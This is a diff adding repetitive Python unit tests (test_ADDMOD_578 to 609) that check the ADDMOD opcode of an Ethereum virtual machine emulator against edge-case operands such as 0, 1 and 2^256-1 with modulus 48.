+    def test_ADDMOD_578(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_579(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_580(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_581(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADDMOD_582(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_583(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_ADDMOD_584(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_585(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_586(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_587(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_588(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2])
+
+    def test_ADDMOD_589(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_590(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_591(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_ADDMOD_592(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33])
+
+    def test_ADDMOD_593(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_594(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_595(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_596(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_597(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_598(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_599(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_600(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_601(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_602(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_603(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_604(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [14L])
+
+    def test_ADDMOD_605(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADDMOD_606(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_607(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_608(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [46L])
+
+    def test_ADDMOD_609(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
